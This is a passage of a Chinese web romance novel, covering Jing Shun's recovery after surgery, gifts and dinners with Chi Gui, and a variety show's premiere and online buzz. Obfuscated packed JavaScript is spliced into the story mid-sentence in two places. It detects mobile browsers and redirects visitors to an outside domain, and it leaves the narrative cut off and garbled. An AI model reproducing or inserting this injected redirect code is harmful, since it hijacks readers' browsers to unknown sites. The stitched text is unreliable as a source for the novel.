毕竟对方在协议里的“伴侣需求”是个很空泛的概念,哪怕没有他,多得是其他人可以扮演完成。 以后的他就算还得起医药费,也不一定还得起人情。 迟归看穿景瞬的那点顾虑,“人情先欠着,以后有机会一并还我,到时候,你全都得听我的。” 沉声如鼓,暗藏一丝不可拒绝的掌控欲。 景瞬心跳莫名跟着重了一拍,“嗯,知道了。” 可能是手术时的麻醉药效还没过,他总觉得晕乎乎的,还有点热。 很快地,敲门声响起。 林叔站在门口,“先生,是我。” 迟归拉开距离,“进。” 林叔带着护工走了进来,一眼就对上了正醒着的景瞬,“小景先生醒了?这位是陈护工,你住院的这段时间就由他负责照顾。” 陈护工冲着景瞬和迟归点头示意,也不说话,一来就开始确认床头柜上的术后须知,看上去还挺老实负责的。 迟归收回审视的目光,转头就看见了门口的韦迪。 “先生,到点了。” 韦迪迎着他的注视快步上前,提醒,“我们必须得出发了,海外行程不能再往后拖了。” 林叔在边上跟着劝,“先生,您和韦迪先去忙吧,小景先生这边有我和陈护工呢,出不了问题。” 迟归颔首起身,临走前不忘叮嘱床上的景瞬,“好好休息。” “嗯。” 等到目送着迟归离开病房,景瞬才问管家,“林叔,迟归是要去哪里?” 林叔听见景瞬在称呼上的改变,心下立刻察觉到了什么,他带着过来人的判断,对着景瞬就是一通详细解释。 “听韦迪说,先生明晚要出席一个国际性质的商贸会议,是提前两个月就定下的行程,本来昨天下午就应该出发了,结果撞上了你的手术。” 迟归嘱咐韦迪推迟了出发时间,从昨天下午改到了今天早上,见景瞬迟迟不醒,又将出发时间改到了今天傍晚。 韦迪深知那场会议的重要性,暗中着急,但又不敢催促自己的顶头老板。 景瞬慢半拍地反应过来,“迟归推迟了出发时间?他一直在医院等着我醒吗?” 管家笑着点了点头,多的不再说了。 景瞬忽地想起手术前的那一晚,记起迟归最后安慰他的那句话—— “景瞬,如果你有需要,我可以陪你。” “……” 景瞬习惯了迟盛那些屡屡失约的承诺,他原本以为迟归只是为了安慰他而说的空话,不敢有任何的过分要求。 但没想到,对方居然真的默默陪了他一整天? 林叔问,“小景先生,想什么呢?” 景瞬心底泛起一丝涟漪,带着连自己都没察觉的亲昵,“我只是在想,迟归根本不是外界传言得那样,他很好。” “是啊,先生很好。”管家替景瞬捻了捻被子,“小景先生,你再休息一会儿?” “嗯。” 景瞬还需要住院观察。 一周过去,他百无聊赖地躺在床上,盯着窗外透进来的春日暖阳。 忽然间,门口响起了一阵交错的脚步声。 景瞬抬眼一看,当下露出惊喜,“喻哥。” 喻修竹迎着景瞬的目光敲了敲门,旋即走了进来,“小景,看我带谁来了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15088136|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喻银河跟着他的身后,手里还陪着一束开得正艳的鲜花,“景瞬,我这临时过来,没打扰到你休息吧?” “当然不会。” 景瞬示意护工将床靠摇起,“银姐,你怎么有空来?” “代表节目组全体来看望一下你。”喻银河将花束递给了护工,在病床前站定,“听修竹说手术很顺利,恭喜。” “谢谢。” 景瞬勾起一丝笑容,“就是可惜缺席了第五、六两期的录制。” 喻银河笑道,“没关系,最后两期等着你回来。” 喻修竹打开自己带来的保温袋,“你下周五出院?正好能赶上节目第一期播出。” 景瞬问,“这就定档了?” “嗯,定档发布会在下周一。”喻银河说明上线时间,“第一周先导片预热,外加第一集正片更新。” “对了,你到时候也得上微博,帮节目做一下宣传。” “那是当然。” 三人聊了不到十分钟。 喻银河起身告辞,“景瞬,待会儿台里还有一个播前会议,等过段时间,我们录制棚再见。” 景瞬不好耽误喻银河的正事,“好。” 喻银河来也匆匆,去也匆匆。 喻修竹盯着她扬长而去的背影,“还是这么风风火火的。” 景瞬接话,“喻哥,你下午没事啊?” “没事,所以来陪你聊聊天。”喻修竹将炖好的药膳递到他的跟前,“来,把这碗喝了,补气血的。” 景瞬闻见飘出来的中药材味,哼唧,“又来?” 手术当天,喻修竹临时家中有事来不了。 不过自从手术结束后,他隔天就要来上一趟。 每回都带着自己亲手煲的汤羹和药膳,临走前还得千叮咛万嘱咐的,有着操不完的心,叫声“男妈妈”都不为过。 喻修竹听见他这声嘟囔,笑了,“别磨蹭,趁热喝,这里面用的药材我都已经询问过医生了,放心吃。” 景瞬不敢浪费喻修竹的心意,喝了一口汤。 “怎么样?” “好喝!”景瞬实话实说,“喻哥,想不到你还会这些。” “……” 喻修竹沉默了两秒,才开口,“以前认识了一个小朋友,有胃病,比你还脆皮,我为了照顾他就学了一点儿。” 景瞬好奇,“谁啊?” 喻修竹隐去了眸中的真实情绪,“你不认识的。” 景瞬看得出他不想深聊,又喝着汤,“哦。” 喻修竹拿起一旁的苹果和水果刀,边削皮边转移话题,“对了,节目预付的通告费已经下来了,我让工作室财务直接全款打到你账户上。” 景瞬一顿,“全款?” 他和喻修竹分明签署了经纪合约,走账也是通过竹林经纪工作室。 喻修竹瞧见景瞬发愣的模样,笑道,“行了,我有权做主的,你现在正是用钱的时候,接下来不是还有第二轮的手术?” 喻修竹不清楚景瞬和迟归到底是什么关系,也尊重对方的隐私不去深问。 但他真心把景瞬当成弟弟对待,不希望对方为钱所困。 “小景,我知道你和家里人都不怎么联系了,现在你自己手里得多备点钱,以后有机会再和我‘算账’就好了。” “谢谢喻哥。” 景瞬心头动容,同时越发感到悲凉—— 有了上一世的教训,这辈子的他始终没有主动找过景观海和徐佳,而那两人同样没有给他发过一条短信、一通电话。 即便他们还存在着血缘牵扯,但早就算不上家人了。 “……” 家人? 景瞬默想着这个带着本该让他幸福、让他所有依赖的词汇,思绪没由来地一偏—— 他现在住进了迟宅,那和迟归能算得上“家人”了吗? 这个念头冒出去的那一秒,景瞬就记起对方在海市的身价地位,于是连忙停止不切实际的联想。 算了。 还是狗宝好,狗宝可以当家人~ 20.【第020章】 景瞬出院回到家,就收到了狗宝的热情迎接。 “嗷呜~旺!” 短短半个月的功夫,狗宝又长大了不少,扒拉在景瞬的膝盖边上求抱抱,“呜呜呜~” 景瞬抚摸着狗宝的脑袋,“宝宝,是不是想景爸了?嗯?” 狗宝听见他这温柔的语气,明明尾巴打成螺旋桨,却装得委屈哼哼唧唧。 想! 宝想! 宝最想! “唉哟这狗,这会儿装上乖了?” 林叔笑着戳穿狗宝的真面目,“小景先生,你不在的时候一个劲地在家里撒野呢,头一日还对着先生吵架,胆子不小。” 狗宝耷拉下耳朵,是恶评,宝不听。 “现在和我撒娇呢。” 景瞬任由狗宝往自己的怀里钻,操控着电动轮椅往里屋走,“林叔,迟……迟先生还在海外忙?” “巧了。” 林叔替他按下电梯开关,“先生今晚落地海市,也要回来了。” 景瞬听见这话,眸光不自觉地一亮。 林叔察觉他的神色变动,似有所感,“小景先生,你先上楼休息,迟点等先生回来,正好一块用晚餐?” 景瞬捏了捏狗宝软乎乎的耳朵,“嗯。” 狗宝昨天才被林叔带出去洗过澡,这会儿身上香喷喷的,很干净。 景瞬自个儿费力躺上床后,也没什么忌讳,任由它叼着个玩具拖鞋,在床尾吭哧吭哧地打滚闹腾。 他拿起自己的手机,久违地点开了微博。 景瞬很早就有自己的微博账号,童星时期的宣传营销大都是由他的母亲徐佳监管。 十八岁之后,他从对方的手里拿回了微博、换绑了手机号。 他的粉丝数停留在一百万出头,已经好几年没变动过了,上条微博动态还停留在半年前,但转发和评论破天荒地过了万。 不为别的,就为剧组出事后上过一波小小的热搜。 作为事故当事人,广大吃瓜网友对着景瞬表示了好一番的心疼。当然,这样的热度是持续不了几天的。 景瞬搜索并关注了《这!就是真职场!》的官方微博,顺势翻到了嘉宾团正式的官宣微博。 傅长汀在内的五位观察室嘉宾都已经转发宣传了,各家粉丝铆足了劲给正主做数据,这会儿总转发量居然已经过100万了。 “……” 景瞬想起喻修竹今早在微信上的文案交代,于是顺手转发了这条微博: #这!就是真职场!# 大家好,我是演员景瞬,从今日起,跟我一起见识真职场的威力吧! 这条微博发出去没多久,评论区就有粉丝涌了进来: ——啊啊啊啊宝宝!好久不见! ——景宝!已经在看先导片啦!感觉你瘦了好多!但还是很好看![照片] ——哎哟小半年了,可算出现了[哭],宝宝你好点了没有?麻麻好想你! 逃不开“童星出道”这层身份,景瞬的粉丝群体大多数以“妈粉”自称,平常对他也是“宝宝”“景宝”之类的喊着。 景瞬习以为常,认真地回复了几条关心的评论,却没过多透露自己的身体情况,免得粉丝们担心。 不过,评论区里很快多出了一些其他声音: ——这嘉宾是谁啊,感觉有点眼熟? ——感觉没什么名气?节目组硬塞进来的? ——之前不是还传出事故了吗?现在是养好身体又出来工作了? 景瞬早有心理准备,他瞧见这些陌生网友的言论,情绪没什么多余的波动。 毕竟成年后没大爆的影视作品,加上上部电影的拍摄和事故,被迫沉寂了八九个月,在娱乐圈这种更迭换代迅速的地方,被人遗忘是再正常不过的一件事。 对景瞬来说,能够有机会重新出现在公众视野、并且靠着这档节目赚取通告费、以备未来所需,就已经足够了。 景瞬并不焦虑自己的人气和微博数据,关了手机就躺下休息。 狗宝叼着自己的小玩具,悄咪咪地趴到了他的手边,贴贴着一块睡觉。 … 再次醒来时,天色已经快暗了,景瞬不愿在房间里窝着,又带着狗宝下了楼。 佣人们还在厨房里忙碌着,林叔听见动静,探出身子,“小景先生,你醒了啊,要喝点什么吗?” 景瞬往三楼的方向瞥了一眼,“他们还没回来吗?” 林叔回答,“刚接到易铭的电话,就快到家了,小景先生,你要不先吃点东西?” “不用了。”景瞬随便找了个理由,“我先带小狗出去上个厕所。” “好。” 北馆的边上就有一整片草坪,面积很大。 狗宝一出门就撒欢跑了出去,根本拦都拦不住,好在是自家的地,系不系绳子都无所谓。 景瞬坐在轮椅上、待在草坪的边缘,目光却不自觉地流连在另外一头的主路上,空荡荡的,暂时还没有车辆驶入的迹象。 “呜呜~” 狗宝不知道从哪里叼来一只玩具小球,特意放在了景瞬的膝盖上,“汪!” 回过神的景瞬察觉到它的意图,拿起玩具球,“宝宝准备好!” 狗宝激动,“汪!” 景瞬用尽全力将小球丢了出去,与此同时,狗宝看方向飞速蹿了出去,没几秒就捡到了小球,又摇着尾巴跑回来邀功。 “继续!” “汪!” 一人一狗玩得不亦乐乎。 也不知道过了多久,身后终于传来了汽车声。 原本还在玩耍的狗宝飞奔了回来,第一时间护到了景瞬的身边,冲着不远处的黑车又是摇尾巴,又是叫唤。 景瞬瞄见熟悉的车牌,连忙安抚住狗宝,“乖,别吵。” 黑车没有像往常那样开进车库,而是就近停在了景瞬的面前。 车门打开,有人走了下来。 天色已经暗了下来,景瞬只能借着车前灯看清熟悉的身形轮廓,看着对方一步步走到自己的跟前。 是迟归。 景瞬没由来地呼吸发紧,一时间竟不知道该怎么开口打招呼。 夜色朦胧,但迟归察觉出了他脸上一闪而过的局促,“大晚上是在家门口等谁?” “……” 景瞬捏紧手中的玩具球,否认,“没等谁,我带狗宝出来玩。” 迟归注视着他,“是吗?” 景瞬避开他的视线,正准备调动轮椅,“玩得差不多了,正要进去呢。” “先等等。” 迟归返身从车里拿出一个烫金的黑色纸袋,然后重新走近,“给你的。” 景瞬看着递到眼前的纸袋子,“给我的?” 在迟归的视线默许下,他打开了这个袋子,里面装着的不是什么贵重物品,而是三罐一系列的茉莉茶包。 迟归问,“我记得上回在你家,你说喜欢茉莉花茶?” “……” 景瞬攥紧了纸袋,心尖凝上了说不清的感动和雀跃。 连他自己都要忘记的随口一提,迟归怎么反倒还记住了? 迟归的目光始终停留在景瞬的身上,补充,“这次外出意外看到的茶品,带回来给你试试,如果喜欢这味道,之后让易铭再去多买些。” 边上狗宝探出好奇的小脑袋,耸动着狗鼻子一个劲地往袋子里面探,嘴里还呜呜叫唤,似乎是在埋怨自己为什么没有小礼物收。 景瞬笑着推开它的脑袋,心情很好。 他已经很久没有收到外人送来的礼物,无关乎礼品价格,而是心意贵重。 “谢谢,我很喜欢。” “不客气。” 迟归应了一声,出其不意地将话题又绕了回去,“真没有在等谁?” 景瞬霎时卡壳,有些脸热,“……真没。” 迟归没再为难他说出自己想听的话,“行,那进屋吧。” “好。” … 晚餐准备得很丰盛。 迟归坐在主位上,却不着急吃,而是不动声色地递给陈易铭一道眼神。 后者凭借多年眼力劲,成功破密,“小景先生,你上的那个综艺节目开播了吗?” 景瞬回答,“今天刚开播,我还没来得及看呢。” 迟归顺理成章地出声,“你现在想看吗?” 景瞬迟疑,“现在?可以吗?” 迟归默许 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景瞬只当他对这节目不感兴趣,心弦微松。 没一会儿,节目内容播到了景瞬的自我介绍,“大家好,我是演员景瞬……” 林叔像是看自家人那般惊喜,“哎哟,小景先生这一打扮水灵灵的,真好看。” 陈易铭第一次对“景瞬是演员这件事”有了实感,跟着夸奖,“是啊,小景先生很上镜。” 景瞬听着他们两人的夸奖,暗戳戳地瞥了一眼迟归,这才发现—— 原本低头吃饭的男人不知何时又抬头看向了电视机屏幕,而且看得很专注。 景瞬手里的筷子在碗里晃了一圈,突然没话找话,“现在的节目都会给嘉宾磨皮美颜上滤镜,大家上镜都好看。” 迟归不以为然。 他倒觉得景瞬不上镜,播出画面虽然好看,但远不及真人。 节目内容又换成了另外一位嘉宾,“大家好,我是本期的飞行嘉宾,来自小麦科技的方伦。” “你们认识这位方总吗?” 景瞬喝了一口汤,带着点好奇,“我听说四家公司都有高层去当飞行嘉宾,迟氏金融打算找谁去啊?” 韦迪说,“应该是分公司的事,没上报到集团总部。” 陈易铭盯着电视屏幕看,“这小方总是科技新贵,不到三十岁,长得不错,在社交平台上还有不少粉丝呢,这回上节目怕不是冲着吸粉去的?” “要我说,这小方总的五官就一般,不耐看呢。”林叔带着过来人的审美,评价,“我觉得他不如先生,小景先生,你觉得呢?” “……” 景瞬没料到这个话题会落到自己的头上,不由将视线投向了主位,“啊?我觉得啊?” 迟归拿筷子的手一顿,没看他,只对着管家提醒,“林叔,用不着做比较。” 林叔还算明白他的性情,笑着解释,“先生,这桌上只有小景先生见过真人,我就随便问问,你别介意。” 经过这段时间的相处,景瞬对迟归早已经没了最开始的距离感,他难得多出一丝玩闹的心思,认真观察起了迟归的样貌。 “等等,我看看啊——” “……” 迟归的筷子在碗里虚空夹了夹,没了吃饭的心思。 旋即,他就听见景瞬带着笑意说,“嗯,那还是迟归比较好看。” 直白的夸奖毫无防备地砸了下来。 两位助理顿时连饭都不吃了,相互对视一眼,默默等待着自家老板的反应。 迟归强装镇定地放下筷子,借着喝水来掩饰自己的真实嘴角。 好几秒后,他才口是心非地改了话题,“我又不上节目,没什么好比的,林叔,再去添点汤。” 林叔看破不说破,笑眯眯地应下,“欸,这就去。” 景瞬见迟归没露出自己想要的反应,还以为他是不信,“我说真的。” 迟归对上他的眼,“景瞬。” “嗯?” “好好吃饭。” 21.【第021章】 将近两个小时的综艺节目,一顿饭的时间看不完,景瞬没勉强众人陪同自己追完综艺,饭后反到先寻了理由上了楼。 时间尚早,他看着一并带上楼的茉莉花茶,干脆拆出一罐打算尝尝鲜。 二楼走廊右侧有专门的水吧台。 景瞬刚给自己泡好了一杯花茶,边上的楼梯就传来了脚步声,偏头看去,是迟归和陈易铭上了楼。 迟归敏锐捕捉到了景瞬的身影,步伐停在了二楼廊口。 景瞬主动询问,“你们这是还要忙吗?” “嗯。” 迟归看见景瞬杯中冒起的热气,明知故问,“在泡什么?” “你送的茉莉花茶。”景瞬捧着水杯暖手,看向送礼物的人,“你要试试吗?” 迟归如愿听见他的邀请,顷刻藏起眉心的疲倦,“行,我尝尝。” 景瞬见他走近,刚准备放下手中花茶再泡一杯。 迟归却问,“你手上这杯喝过了吗?” “没呢,刚泡好的。”景瞬以为对方着急上楼处理工作,礼貌性地问,“要不你先喝这杯?反正不是专属的杯子,我再泡就行了。” 迟归根本不拒绝,伸手就要,“也好。” “……” 啊? 真拿啊? 景瞬没想到迟归拿得如此顺手,差点没反应过来,他只好又给自己泡了一杯,还不忘询问后方的陈易铭。 “陈助,你也要来一杯吗?” 迟归抚开杯上的热气,像是很了解自家助理,“他爱喝咖啡,喝不惯茶。” 陈易铭听见自家老板发话,连忙回绝,“小景先生,不用麻烦了,我确实喝不惯。” 景瞬试图安利,“茉莉花茶很好喝的。” 迟归暗笑,“你喜欢就留着给自己喝,不用管他。” 杯中热气四溢,花茶慢慢浸染出金黄色的茶汤,芳香扑鼻。 景瞬怕烫,小饮了一口。 迟归的指腹摩挲着杯壁,视线追着他,“怎么样?” 景瞬惊喜,“好喝!特别鲜灵的香气!你尝尝?” 迟归嘴角又有了上扬的迹象,“那就好,看来我挑得还不错。” “……” 站在廊口等着的陈易铭听见两人的对话,暗暗作想: 这茶能不好吗? 市面公价都要七万一斤呢! 这回出差结束,先生特意挤出一天时间飞去闽市,亲自寻了今年的茉莉茶王。 不仅如此,他生怕小景先生知道真实价格后会有心理负担,特意买了中规中矩的茶罐装着,只当个普通礼物送出。 景瞬确实不知道这花茶的价格,只是注意这时间,“那我先回房间了,不耽误你们处理工作。” 迟归微微颔首,“早点休息,晚安。” “嗯。” 直到进了三楼书房,迟归才对着助理低声交代,“景瞬那综艺已经上了,你尽快找个靠谱的公关团队,长期盯着和他相关的网络舆论。” “但凡有拿着我和他的‘关系’做文章的,暗中迅速处理掉。” 豪门世家的人看在迟归的身份上,不敢正面嚼舌根,但保不齐有人背后有小动作。 无论景瞬将来会不会正式复出拍戏,有些事情还是防患于未然才好。 陈易铭听懂迟归的想法,“好的,先生,我明早就去联系。” … 景瞬自认不是《这!就是真职场!》的主要角色,想着只要配合节目录制、拿到通告费就算是完成了任务。 于是,他抱着平常心抽空看完了正片,压根没想着再去瞧网友们的反馈。 直到周日晚上,他突然收到了喻修竹发来的消息。 “小景,你上热搜了!快看看!” “……” 热搜? 景瞬盯着屏幕里这个陌生又熟悉的字眼,诧异地打开了微博。 他这才发现,后台居然多出了数以万计的消息红点,就连许久没有过动静的粉丝数都在两天内上涨了五六万! 而在文娱相关的微博热搜里,他的大名话题#景瞬#一跃飙到了第八位,已经超越了很多艺人,甚至还挤上了热搜总榜! “……” 不是? 这破天的富贵怎么就砸下来了?不会出什么事吧? 景瞬有些怀疑地点开自己的话题,查看起网友们在话题里的实时评论—— “谁懂在某音上刷到了节目切片,帅得我眼前一亮,还以为内娱进新货了!结果是许久不见的熟面孔啊!” “难得有童星没长歪,感觉景瞬长开了更好看,那双桃花眼看着水润润的啊啊啊!” “我记得景瞬去年拍电影不是出事了吗?还有小道消息传他双腿截肢了呢!” “求求别误传假消息了,没截肢!就是行动没那么方便了!既然能重新录节目,说不定已经好了。” “那谁说得准?节目里全程坐在观察室的沙发上呢!之前那电影剧组也装死,到现在没出一个正儿八经的情况通知。” 在众多夸赞的评论里,时不时地冒出关于景瞬双腿的讨论,好的,坏的,说什么的都有。 景瞬没什么情绪起伏,只默默地浏览着。 很快地,手机界面就刷出了网友的一条热门微博:“朋友们速看这个剪辑!以前自己年纪还小,不知道景瞬小时候的演技居然这么牛逼!” “链接:《后来,内娱再也没有出现过这样的童星!》第一弹!” 底下的转发、评论都已经过千,点赞更是高达了一万。 景瞬带着好奇心点进了这条链接,页面转跳到了对应的视频里。 这是一位影视区的up主剪辑的视频,随着高燃的、相衬的BGM,对方将景瞬以往演出过的角色和高能片段逐一展示出来—— 有他扮演的光头小和尚,灵动装乖、天真耍宝。 也有他扮演的少年侠客,一招一式挽着流利剑花。 有他扮演的破落小乞丐,在风雪夜临死的那一滴眼泪。 更有他扮演的遗孤小侯爷,为了给族人洗清冤屈,在皇宫长阶一步一叩、字字泣血。 … 所有的片段内容显然是up精心筛选过的。 随着景瞬在戏外的年纪上升,他在戏中的演技却逐渐精湛细腻! 闻风而来的网友们看完了这个视频,鸡皮疙瘩都起了一地,纷纷在评论区留言。 ——我敢打包票,景瞬小时候绝对是内娱童星里的第一阶梯!有灵气也有实力! ——谁懂我,我到现在都想要生一个无念小沙弥,宝宝,你是全天底下最可爱的小和尚! ——妈呀,最后长阶泣血那个片段,太牛了!景瞬那会儿才十五岁吧? ——原谅我以前年纪小,不懂得欣赏,景瞬现在还在演戏吗?就这演技不得秒杀内娱一片男208w? ——作为多年老粉来科普一下:景宝最后一部电视剧作品就是《夜长安》里的萧恩小侯爷,从那之后他的资源就断档了[哭]成年后主演过一部文艺电影《写给安禾》,国内水花不大,但拿过国际奖项,他在里面演得很好,感兴趣的可以去看看。 ——孩子去年拍摄新电影受伤了,目前没有影视存货了,现在出演了海视综艺,很乖很帅! ——综艺冲着颜值很喜欢,所以来b站考古,结果看完这个视频秒入坑! ——楼上的等等我,考古入坑+1,要去刷他的影视片段了。 景瞬看着最新评论区的“入坑”言论,只觉得不可思议,全然没想到网友们会因为这种情况再次认可了他的演技。 “滋滋。” 手机响起提醒,喻修竹的微信又发了过来:“小景,有看到微博热搜了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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电视和网播两大端口同步播出,线下线下推广用时启动,加上节目里的职场嘉宾都是经过严格筛选的帅哥美女,吸引了众多网友自发收看。 因为剪辑节奏给力,话题讨论有梗,连带着观察团嘉宾的话题讨论度都跟着一升再升。 随着第二期正片的播出,节目热度更是水涨船高,显然是冲着热门综艺去了! … 转眼就到了复查日。 景瞬收拾整齐,坐着轮椅下了楼。 迟归正坐在餐桌前,瞧见他下来,“今天什么时候去见宋教授?上午?还是下午?” “嗯,约好了,待会儿出门。” 景瞬没说明确,他藏了点小心思,没将自己今天的安排全部告知。 实际上,景瞬已经查好了附近的高级商圈地址,打算在早餐后寻个理由去逛逛,想亲自给迟归挑个礼物。 迟归不知道景瞬的真实计划,提议,“那待会儿和我一块出门,正好顺路。” “……” 景瞬瞥了一眼他已经空掉的餐盘,试图推脱,“我还没吃早餐,得要点时间。” 迟归慢条斯理地喝着咖啡,“不急,我等你。” 景瞬卡壳。 莫名有了种迟归很黏人的错觉。 恰时,边上的手机响起来电震动,是喻修竹打来的电话。 景瞬接通,“喂,喻哥?” 喻修竹向来平静温和的口吻带上了一丝急切,“小景,你今早看见网上消息了吗?” “还没。” 景瞬察觉到了不对劲,下意识地将不安的目光投向了迟归。 迟归放下咖啡杯,几乎是和他同时出声,“发生什么事了?”